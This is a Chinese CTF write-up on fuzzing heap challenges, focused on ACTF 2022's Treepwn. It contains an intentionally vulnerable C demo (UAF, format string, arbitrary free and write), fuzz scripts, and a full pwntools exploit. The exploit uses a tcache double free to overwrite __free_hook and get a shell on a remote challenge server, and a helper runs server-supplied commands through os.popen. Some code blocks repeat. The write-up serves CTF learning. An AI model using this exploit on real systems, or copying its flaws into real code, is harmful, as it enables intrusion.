今年的XCTF最后一战ACTF圆满结束了,战队最后也是稳住了19名,应该能拿到决赛门票
但ACTF中,pwn题凄惨爆零。。。虽然只有俺做,但这不能成为摆烂的理由,毕竟要不断成长为战队主力,而且身边有很多很强的同龄师傅,更不应该气馁
在军训途中复现了Tree_pwn,在uuu师傅的引导下学到了如何将fuzz的思想用于比赛的堆题中,于是在此记录一下
考虑很多师傅还不会fuzz或者没听过,在这里再提一下
以上是百度百科的介绍,未免有些抽象,下面举一个形象的例子:
相信大家都玩过CF,老版本的CF可以卡出一些奇奇怪怪的bug,就比如说,你站在一个箱子的一个角上来回前后前后摩擦步伐,就能够卡进箱子里
这其实也是一种fuzz,因为我们的移动其实也是一种通过键盘向挂在服务器上的程序的输入,卡进箱子里就是一种程序的漏洞
笔者的这篇文章讲述了如何用AFL对开源的TCPdump进行fuzz,但一般的fuzz变异的程度太高,这是建立在对TCPdump这样源码码量极大的程序运行流极难分析的情况下的。但是如果熟练掌握程序运行流,写了一些比较好的初始的语料库,那么就能够大大提高fuzz的效率(对于TCPdump在github上就有初始的比较好的语料库)
而堆题又怎么fuzz呢?看看下面的demo:
我们用如下的python脚本:
就能够探测出存不存在UAF漏洞和是否能够泄露堆地址:
并且把fuzz过程中使用的指令放在“log.txt”中,方便我们分析crash的成因:
有人会说,你这个程序看看就能看出来UAF和泄露堆地址在哪了:
确实,因为这是我自己写的用来调试ptmalloc2的demo,一般的题不会这么赤裸裸,比如2022ACTF那道Treepwn
题目链接
libc-2.27.1.6
在ida里面乱点一通,人都傻了,一大堆看不懂的函数
不过没扣符号表,百度那个显眼的MBR可以知道,函数实现了一棵叶子结点集大小上限为6的R-tree
简单说说R-tree:
R-tree是一种优化信息查找的平衡树(所有叶子节点都在一层的树),是B-tree向多维空间数据的一个扩展。而在B-tree中查找一个信息等价于在区间上做一次二分,也就是logN的时间复杂度
R-tree有个重要的概念,就是最小边界矩形MBR(Minimal Bounding Rectangle),以最简单的存放二维空间坐标的R-tree为例:叶子节点就是单个的坐标,叶子节点的父节点就是包含它以及它的兄弟的最小的一个空间矩形,而每个空间矩形有一个最大容纳量,也就是一个矩形中包含的最多的矩形或者点的个数。如下:
黑色的点表示叶子节点,红框和绿框是父节点,蓝筐是父节点的父节点(爷爷节点):
然而想要维护这一棵树需要很多的很复杂的函数,比如插入函数、查找函数、排序函数(平衡树一般插入或者删去节点就会有一个排序)以及达到上限或者下限(一个矩形中的节点删完了)的分裂函数等等,感兴趣的话可以自行了解
事实说明,自己学了,学完了都不一定能逆懂这个程序,更别提找漏洞了
于是这个时候我们就可以上fuzz来找漏洞了
发现触发了double free(这个触发的堆块就是UAF堆块):
分析crash(甚至可以不分析)发现:
正常的free是有防止UAF的,但是在tree_split_leaf_node函数里面就没有,并且我们可以通过query或者show泄露出堆地址(上面的fuzz脚本如果跑通的话,就表明泄露heap地址了)
然而add的堆块是统一的0x30大小,如何泄露libc呢?
通过UAF提供的tcache double free修改一个fuzz出UAF堆块的size位为unsorted bin大小,然后free并show就可以泄露libc了。然后再fuzz出一个UAF的堆块,再tcache double free打free_hook就可以getshell了
也就是说需要fuzz出3个UAF堆块,我是分两次fuzz出的,运气已经很不错了
最后通过add修改free_hook的时候,可能触发分裂free一个0x50大小的MBR堆块,就会卡死程序,只要在这之前free掉无关的堆块就好了
char
*
note[N];
void init()
{
setbuf(stdin,
0
);
setbuf(stdout,
0
);
setbuf(stderr,
0
);
}
void menu()
{
puts(
"1.add"
);
puts(
"2.delet"
);
puts(
"3.edit"
);
puts(
"4.show"
);
puts(
"5.leak"
);
puts(
"6.free"
);
puts(
"7.write"
);
puts(
"8.exit"
);
}
void add()
{
int
sz,idx;
puts(
"size:"
);
scanf(
"%d"
,&sz);
puts(
"idx:"
);
scanf(
"%d"
,&idx);
note[idx]
=
(char
*
)malloc(sz);
}
void delet()
{
int
idx;
puts(
"idx:"
);
scanf(
"%d"
,&idx);
free(note[idx]);
}
void edit()
{
int
idx,sz;
puts(
"size:"
);
scanf(
"%d"
,&sz);
puts(
"idx:"
);
scanf(
"%d"
,&idx);
puts(
">>"
);
read(
0
,note[idx],sz);
}
void show()
{
int
idx;
puts(
"idx:"
);
scanf(
"%d"
,&idx);
printf(
">>: %s"
,note[idx]);
}
void leak()
{
char buf[
100
];
puts(
"input:"
);
scanf(
"%s"
,buf);
printf(buf);
}
void key_free()
{
char
*
p[
1
];
puts(
">> "
);
read(
0
,p,
0x8
);
free((char
*
)p[
0
]);
}
void write_in()
{
char
*
p[
1
];
int
sz;
puts(
">> "
);
read(
0
,p,
0x8
);
puts(
">> "
);
scanf(
"%d"
,&sz);
puts(
">> "
);
read(
0
,(char
*
)p[
0
],sz);
}
int
main()
{
int
x;
puts(
"welcome to use my demo"
);
puts(
"it will help you know sth about ptmalloc2"
);
init();
while
(
1
){
menu();
puts(
">> "
);
scanf(
"%d"
,&x);
if
(x
=
=
1
){
add();
}
else
if
(x
=
=
2
){
delet();
}
else
if
(x
=
=
3
){
edit();
}
else
if
(x
=
=
4
){
show();
}
else
if
(x
=
=
5
){
leak();
}
else
if
(x
=
=
6
){
key_free();
}
else
if
(x
=
=
7
){
write_in();
}
else
if
(x
=
=
8
){
exit(
0
);
}
else
{
return
0
;
}
}
}
char
*
note[N];
void init()
{
setbuf(stdin,
0
);
setbuf(stdout,
0
);
setbuf(stderr,
0
);
}
void menu()
{
puts(
"1.add"
);
puts(
"2.delet"
);
puts(
"3.edit"
);
puts(
"4.show"
);
puts(
"5.leak"
);
puts(
"6.free"
);
puts(
"7.write"
);
puts(
"8.exit"
);
}
void add()
{
int
sz,idx;
puts(
"size:"
);
scanf(
"%d"
,&sz);
puts(
"idx:"
);
scanf(
"%d"
,&idx);
note[idx]
=
(char
*
)malloc(sz);
}
void delet()
{
int
idx;
puts(
"idx:"
);
scanf(
"%d"
,&idx);
free(note[idx]);
}
void edit()
{
int
idx,sz;
puts(
"size:"
);
scanf(
"%d"
,&sz);
puts(
"idx:"
);
scanf(
"%d"
,&idx);
puts(
">>"
);
read(
0
,note[idx],sz);
}
void show()
{
int
idx;
puts(
"idx:"
);
scanf(
"%d"
,&idx);
printf(
">>: %s"
,note[idx]);
}
void leak()
{
char buf[
100
];
puts(
"input:"
);
scanf(
"%s"
,buf);
printf(buf);
}
void key_free()
{
char
*
p[
1
];
puts(
">> "
);
read(
0
,p,
0x8
);
free((char
*
)p[
0
]);
}
void write_in()
{
char
*
p[
1
];
int
sz;
puts(
">> "
);
read(
0
,p,
0x8
);
puts(
">> "
);
scanf(
"%d"
,&sz);
puts(
">> "
);
read(
0
,(char
*
)p[
0
],sz);
}
int
main()
{
int
x;
puts(
"welcome to use my demo"
);
puts(
"it will help you know sth about ptmalloc2"
);
init();
while
(
1
){
menu();
puts(
">> "
);
scanf(
"%d"
,&x);
if
(x
=
=
1
){
add();
}
else
if
(x
=
=
2
){
delet();
}
else
if
(x
=
=
3
){
edit();
}
else
if
(x
=
=
4
){
show();
}
else
if
(x
=
=
5
){
leak();
}
else
if
(x
=
=
6
){
key_free();
}
else
if
(x
=
=
7
){
write_in();
}
else
if
(x
=
=
8
){
exit(
0
);
}
else
{
return
0
;
}
}
}
def
fuzz():
f
=
open
(
'log.txt'
,
'w'
)
for
i
in
range
(
0
,
0x1000
):
if
i
%
10
=
=
0
:
idx
=
randint(
0
,
0x10
)
add(idx,
0x20
)
f.write(
'add({},0x20)'
.
format
(idx)
+
'\n'
)
elif
i
%
2
=
=
0
:
idx
=
randint(
0
,
0x10
)
delet(idx)
f.write(
'delt({})'
.
format
(idx)
+
'\n'
)
elif
i
%
3
=
=
0
:
idx
=
randint(
0
,
0x10
)
show(idx)
r.recvuntil(
'>>: '
)
check_char
=
r.recv(
1
)
if
check_char
=
=
'\x55'
or
check_char
=
=
'\x56'
:
f.write(
'show({})'
.
format
(idx)
+
'\n'
)
break
f.close()
def
fuzz():
f
=
open
(
'log.txt'
,
'w'
)
for
i
in
range
(
0
,
0x1000
):
if
i
%
10
=
=
0
:
idx
=
randint(
0
,
0x10
)
add(idx,
0x20
)
f.write(
'add({},0x20)'
.
format
(idx)
+
'\n'
)
elif
i
%
2
=
=
0
:
idx
=
randint(
0
,
0x10
)
delet(idx)
f.write(
'delt({})'
.
format
(idx)
+
'\n'
)
elif
i
%
3
=
=
0
:
idx
=
randint(
0
,
0x10
)
show(idx)
r.recvuntil(
'>>: '
)
check_char
=
r.recv(
1
)
if
check_char
=
=
'\x55'
or
check_char
=
=
'\x56'
:
f.write(
'show({})'
.
format
(idx)
+
'\n'
)
break
f.close()
def
fuzz():
f
=
open
(
'./log.txt'
,
'w'
)
for
i
in
range
(
0x1000
):
if
(i
%
10
=
=
0
):
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
add(a,b,
str
(i))
data0
=
r.recvuntil(
'Choice Table'
)
if
'two many'
in
data0:
break
f.write(
' add({},{},str({}))\n'
.
format
(a,b,i))
elif
(i
%
2
=
=
0
):
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
delet(a,b)
data0
=
r.recvline()
if
'not exists'
in
data0:
continue
f.write(
' delet({},{})\n'
.
format
(a,b))
else
:
continue
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
c
=
randint(
0
,
8
)
d
=
randint(
0
,
8
)
query(a,b,c,d)
data0
=
r.recvuntil(
'Choice Table'
)
if
'totally 0 elements'
in
data0:
continue
elif
'\x55'
in
data0:
f.write(
' query({},{},{},{})\n'
.
format
(a,b,c,d))
break
elif
'\x56'
in
data0:
f.write(
' query({},{},{},{})\n'
.
format
(a,b,c,d))
break
f.close()
def
fuzz():
f
=
open
(
'./log.txt'
,
'w'
)
for
i
in
range
(
0x1000
):
if
(i
%
10
=
=
0
):
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
add(a,b,
str
(i))
data0
=
r.recvuntil(
'Choice Table'
)
if
'two many'
in
data0:
break
f.write(
' add({},{},str({}))\n'
.
format
(a,b,i))
elif
(i
%
2
=
=
0
):
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
delet(a,b)
data0
=
r.recvline()
if
'not exists'
in
data0:
continue
f.write(
' delet({},{})\n'
.
format
(a,b))
else
:
continue
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
c
=
randint(
0
,
8
)
d
=
randint(
0
,
8
)
query(a,b,c,d)
data0
=
r.recvuntil(
'Choice Table'
)
if
'totally 0 elements'
in
data0:
continue
elif
'\x55'
in
data0:
f.write(
' query({},{},{},{})\n'
.
format
(a,b,c,d))
break
elif
'\x56'
in
data0:
f.write(
' query({},{},{},{})\n'
.
format
(a,b,c,d))
break
f.close()
from
pwn
import
*
from
hashlib
import
sha256
import
os
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
def
proofOfWork():
r.recvuntil(
'Submit the token generated by `'
)
command
=
r.recvuntil(
'`'
,drop
=
True
)
r.sendline(os.popen(command).read())
def
z():
gdb.attach(r)
def
cho(num):
r.sendlineafter(
'> '
,
str
(num))
def
add(x,y,name):
cho(
0
)
r.sendlineafter(
"value: "
,
str
(x))
r.sendlineafter(
"value: "
,
str
(y))
r.sendafter(
"new element name: "
,name.ljust(
0x20
,
'\x00'
))
def
delet(x,y):
cho(
1
)
r.sendlineafter(
"want element x-coordinate value: "
,
str
(x))
r.sendlineafter(
"want element y-coordinate value: "
,
str
(y))
def
edit(x,y,name):
cho(
2
)
r.sendlineafter(
"want element x-coordinate value: "
,
str
(x))
r.sendlineafter(
"want element y-coordinate value: "
,
str
(y))
r.sendafter(
"name: "
,name.ljust(
0x20
,
'\x00'
))
def
show(x,y):
cho(
3
)
r.sendlineafter(
'value'
,
str
(x))
r.sendlineafter(
'value'
,
str
(y))
def
query(a,b,c,d):
cho(
4
)
r.sendlineafter(
"value: "
,
str
(a))
r.sendlineafter(
"value: "
,
str
(b))
r.sendlineafter(
"value: "
,
str
(c))
r.sendlineafter(
"value: "
,
str
(d))
def
fuzz():
f
=
open
(
'./log.txt'
,
'w'
)
for
i
in
range
(
0x1000
):
if
(i
%
10
=
=
0
):
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
add(a,b,
str
(i))
data0
=
r.recvuntil(
'Choice Table'
)
if
'two many'
in
data0:
break
f.write(
' add({},{},str({}))\n'
.
format
(a,b,i))
elif
(i
%
2
=
=
0
):
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
delet(a,b)
data0
=
r.recvline()
if
'not exists'
in
data0:
continue
f.write(
' delet({},{})\n'
.
format
(a,b))
else
:
continue
a
=
randint(
0
,
8
)
b
=
randint(
0
,
8
)
c
=
randint(
0
,
8
)
d
=
randint(
0
,
8
)
query(a,b,c,d)
data0
=
r.recvuntil(
'Choice Table'
)
if
'totally 0 elements'
in
data0:
continue
elif
'\x55'
in
data0:
f.write(
' query({},{},{},{})\n'
.
format
(a,b,c,d))
break
elif
'\x56'
in
data0:
f.write(
' query({},{},{},{})\n'
.
format
(a,b,c,d))
break
f.close()
def
leak_heap():
global
heap
add(
1
,
0
,
str
(
0
))
add(
1
,
8
,
str
(
5
))
add(
5
,
6
,
str
(
10
))
add(
1
,
8
,
str
(
15
))
add(
8
,
3
,
str
(
20
))
delet(
8
,
3
)
add(
8
,
7
,
str
(
25
))
add(
4
,
0
,
str
(
30
))
add(
2
,
6
,
str
(
35
))
add(
6
,
1
,
str
(
40
))
add(
1
,
6
,
str
(
45
))
add(
3
,
7
,
str
(
50
))
add(
8
,
4
,
str
(
55
))
delet(
3
,
7
)
add(
0
,
5
,
str
(
60
))
add(
4
,
3
,
str
(
65
))
add(
8
,
0
,
str
(
70
))
add(
1
,
8
,
str
(
75
))
add(
1
,
3
,
str
(
80
))
add(
1
,
6
,
str
(
85
))
add(
8
,
6
,
str
(
90
))
add(
7
,
2
,
str
(
95
))
delet(
0
,
5
)
delet(
7
,
2
)
add(
7
,
6
,
str
(
100
))
add(
8
,
7
,
str
(
105
))
delet(
8
,
7
)
add(
2
,
4
,
str
(
110
))
add(
3
,
0
,
str
(
115
))
delet(
4
,
3
)
add(
3
,
1
,
str
(
120
))
delet(
8
,
6
)
add(
7
,
8
,
str
(
125
))
delet(
7
,
8
)
add(
7
,
0
,
str
(
130
))
delet(
8
,
7
)
add(
7
,
6
,
str
(
135
))
add(
4
,
4
,
str
(
140
))
delet(
1
,
6
)
add(
0
,
4
,
str
(
145
))
add(
7
,
8
,
str
(
150
))
add(
4
,
8
,
str
(
155
))
delet(
3
,
1
)
add(
6
,
1
,
str
(
160
))
add(
8
,
0
,
str
(
165
))
add(
3
,
4
,
str
(
170
))
delet(
7
,
8
)
add(
7
,
4
,
str
(
175
))
delet(
4
,
8
)
delet(
1
,
8
)
add(
4
,
5
,
str
(
180
))
delet(
3
,
0
)
add(
8
,
8
,
str
(
185
))
delet(
6
,
1
)
add(
7
,
6
,
str
(
190
))
delet(
8
,
0
)
add(
7
,
3
,
str
(
195
))
delet(
8
,
0
)
add(
0
,
2
,
str
(
200
))
add(
5
,
1
,
str
(
205
))
add(
5
,
0
,
str
(
210
))
add(
8
,
7
,
str
(
215
))
delet(
2
,
4
)
query(
1
,
0
,
5
,
5
)
heap
=
u64(r.recvuntil(
'\x55'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x10
log.success(
'heap:'
+
str
(
hex
(heap)))
def
uaf():
add(
3
,
6
,
str
(
0
))
add(
2
,
0
,
str
(
10
))
delet(
0
,
4
)
delet(
8
,
7
)
add(
3
,
2
,
str
(
20
))
add(
6
,
6
,
str
(
30
))
delet(
8
,
8
)
delet(
0
,
2
)
add(
0
,
3
,
str
(
40
))
delet(
3
,
6
)
delet(
5
,
6
)
add(
1
,
8
,
str
(
50
))
delet(
7
,
0
)
add(
8
,
8
,
str
(
60
))
add(
0
,
4
,
str
(
70
))
delet(
3
,
4
)
add(
6
,
1
,
str
(
80
))
add(
7
,
5
,
str
(
90
))
delet(
8
,
8
)
delet(
2
,
0
)
edit(
2
,
0
,p64(heap
+
0x8a0
))
add(
2
,
0
,
'nameless'
)
add(
8
,
8
,p64(
0
)
+
p64(
0x551
))
add(
4
,
6
,
str
(
0
))
delet(
8
,
8
)
add(
6
,
7
,
str
(
10
))
delet(
1
,
8
)
show(
1
,
8
)
r.recvuntil(
'found!!! its name: '
)
libcbase
=
u64(r.recvuntil(
'\x7f'
).ljust(
8
,
'\x00'
))
-
0x3ebca0
log.success(
'libcbase:'
+
hex
(libcbase))
free_hook
=
libcbase
+
libc.sym[
'__free_hook'
]
system
=
libcbase
+
libc.sym[
'system'
]
f
=
open
(
'log.txt'
,
'w'
)
for
i
in
range
(
0
,
9
):
for
j
in
range
(
0
,
9
):
if
(i
=
=
1
and
j
=
=
8
) :
continue
if
(i
=
=
3
and
j
=
=
6
) :
continue
delet(i,j)
f.write(
str
(i)
+
" "
+
str
(j)
+
'\n'
)
f.close()
add(
66
,
66
,
'nameless'
)
delet(
3
,
6
)
edit(
3
,
6
,p64(free_hook))
add(
3
,
6
,
'/bin/sh\x00'
)
log.success(
'system:'
+
str
(
hex
(system)))
add(
6
,
6
,p64(system))
delet(
3
,
6
)
def
exp():
global
r
global
libc
r
=
remote(
"121.36.241.104"
,
9999
)
proofOfWork()
libc
=
ELF(
'./libc-2.27.so'
)
leak_heap()
uaf()
r.interactive()
if
__name__
=
=
'__main__'
:
exp()
from
pwn
import
*
from
hashlib
import
sha256
import
os
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
[注意]APP应用上架合规检测服务,协助应用顺利上架!
最后于 2022-7-16 22:32
被Nameless_a编辑
,原因: